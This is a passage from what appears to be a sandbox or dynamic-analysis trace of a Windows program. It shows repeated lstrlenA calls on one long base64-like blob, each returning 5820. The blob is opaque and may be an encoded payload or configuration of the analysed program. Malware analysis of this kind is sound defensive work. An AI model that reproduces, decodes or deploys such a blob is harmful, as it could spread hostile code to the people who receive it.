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") returned 5820
	[0084.638] lstrlenA (lpString="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") returned 5820
	[0084.639] lstrlenA (lpString="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